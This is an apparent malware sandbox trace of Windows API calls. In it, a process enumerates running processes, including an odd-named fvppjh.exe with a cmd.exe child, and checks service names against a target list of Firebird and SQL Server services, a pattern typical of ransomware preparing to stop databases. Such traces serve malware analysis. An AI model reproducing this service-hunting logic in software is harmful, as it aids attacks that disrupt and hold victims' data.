	[0152.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0152.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0152.675] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0152.676] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0152.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0152.676] lstrlenW (lpString="RpcSs") returned 5
	[0152.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0152.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0152.676] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0152.676] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0152.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0152.676] lstrlenW (lpString="SamSs") returned 5
	[0152.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0152.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0152.676] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0152.676] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0152.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0152.676] lstrlenW (lpString="Schedule") returned 8
	[0152.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0152.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0152.676] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0152.676] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0152.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0152.676] lstrlenW (lpString="SecurityHealthService") returned 21
	[0152.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0152.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0152.676] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0152.676] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0152.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0152.676] lstrlenW (lpString="SENS") returned 4
	[0152.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0152.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0152.676] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0152.676] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0152.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0152.676] lstrlenW (lpString="ShellHWDetection") returned 16
	[0152.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0152.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0152.676] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0152.677] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0152.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0152.677] lstrlenW (lpString="Spooler") returned 7
	[0152.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0152.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0152.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0152.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0152.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0152.677] lstrlenW (lpString="StateRepository") returned 15
	[0152.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0152.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0152.677] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0152.677] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0152.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0152.677] lstrlenW (lpString="SysMain") returned 7
	[0152.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0152.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0152.677] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0152.677] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0152.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0152.677] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0152.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0152.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0152.677] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0152.677] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0152.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0152.677] lstrlenW (lpString="Themes") returned 6
	[0152.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0152.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0152.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0152.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0152.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0152.677] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0152.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0152.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0152.677] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0152.677] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0152.678] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f6fb8 | out: hHeap=0x5a0000) returned 1
	[0152.678] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x33c
	[0152.684] Process32FirstW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0152.685] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0152.685] lstrlenW (lpString="System") returned 6
	[0152.685] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0152.686] lstrlenW (lpString="smss.exe") returned 8
	[0152.686] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0152.686] lstrlenW (lpString="csrss.exe") returned 9
	[0152.686] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0152.687] lstrlenW (lpString="wininit.exe") returned 11
	[0152.687] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0152.687] lstrlenW (lpString="csrss.exe") returned 9
	[0152.687] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0152.687] lstrlenW (lpString="winlogon.exe") returned 12
	[0152.687] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0152.688] lstrlenW (lpString="services.exe") returned 12
	[0152.688] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0152.688] lstrlenW (lpString="lsass.exe") returned 9
	[0152.688] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0152.689] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0152.689] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0152.689] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0152.689] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0152.690] lstrlenW (lpString="svchost.exe") returned 11
	[0152.690] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0152.690] lstrlenW (lpString="svchost.exe") returned 11
	[0152.690] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0152.691] lstrlenW (lpString="dwm.exe") returned 7
	[0152.691] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0152.691] lstrlenW (lpString="svchost.exe") returned 11
	[0152.691] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0152.692] lstrlenW (lpString="svchost.exe") returned 11
	[0152.692] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0152.692] lstrlenW (lpString="svchost.exe") returned 11
	[0152.692] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0152.692] lstrlenW (lpString="svchost.exe") returned 11
	[0152.692] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0152.693] lstrlenW (lpString="svchost.exe") returned 11
	[0152.693] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0152.693] lstrlenW (lpString="svchost.exe") returned 11
	[0152.693] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0152.694] lstrlenW (lpString="svchost.exe") returned 11
	[0152.694] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0152.694] lstrlenW (lpString="svchost.exe") returned 11
	[0152.694] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0152.695] lstrlenW (lpString="svchost.exe") returned 11
	[0152.695] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0152.695] lstrlenW (lpString="svchost.exe") returned 11
	[0152.695] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0152.696] lstrlenW (lpString="spoolsv.exe") returned 11
	[0152.696] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0152.696] lstrlenW (lpString="svchost.exe") returned 11
	[0152.696] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0152.697] lstrlenW (lpString="audiodg.exe") returned 11
	[0152.697] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0152.697] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0152.697] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0152.697] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0152.698] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0152.698] lstrlenW (lpString="Memory Compression") returned 18
	[0152.698] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0152.698] lstrlenW (lpString="sihost.exe") returned 10
	[0152.698] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0152.699] lstrlenW (lpString="svchost.exe") returned 11
	[0152.699] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0152.699] lstrlenW (lpString="taskhostw.exe") returned 13
	[0152.699] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0152.700] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0152.700] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0152.700] lstrlenW (lpString="taskhostw.exe") returned 13
	[0152.700] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0152.701] lstrlenW (lpString="userinit.exe") returned 12
	[0152.701] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0152.701] lstrlenW (lpString="explorer.exe") returned 12
	[0152.701] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0152.702] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0152.702] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0152.702] lstrlenW (lpString="SearchUI.exe") returned 12
	[0152.702] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0152.703] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0152.703] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1
	[0152.703] lstrlenW (lpString="mobsync.exe") returned 11
	[0152.703] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0152.704] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0152.704] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0152.704] lstrlenW (lpString="svchost.exe") returned 11
	[0152.704] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0152.704] lstrlenW (lpString="fvppjh.exe") returned 10
	[0152.705] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0152.705] lstrlenW (lpString="cmd.exe") returned 7
	[0152.705] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0152.705] lstrlenW (lpString="conhost.exe") returned 11
	[0152.705] Process32NextW (in: hSnapshot=0x33c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0152.706] CloseHandle (hObject=0x33c) returned 1
	[0152.706] Sleep (dwMilliseconds=0x1f4) 
	[0153.288] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5dded0
	[0153.290] EnumServicesStatusExW (in: hSCManager=0x5dded0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0153.292] GetLastError () returned 0xea
	[0153.292] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bee) returned 0x3a837a0
	[0153.292] EnumServicesStatusExW (in: hSCManager=0x5dded0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3a837a0, cbBufSize=0x1bee, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3a837a0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0153.293] CloseServiceHandle (hSCObject=0x5dded0) returned 1
	[0153.295] lstrlenW (lpString="AppXSvc") returned 7
	[0153.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0153.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0153.295] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0153.295] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0153.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0153.295] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0153.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0153.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0153.295] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0153.295] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0153.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0153.295] lstrlenW (lpString="Audiosrv") returned 8
	[0153.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0153.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0153.295] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
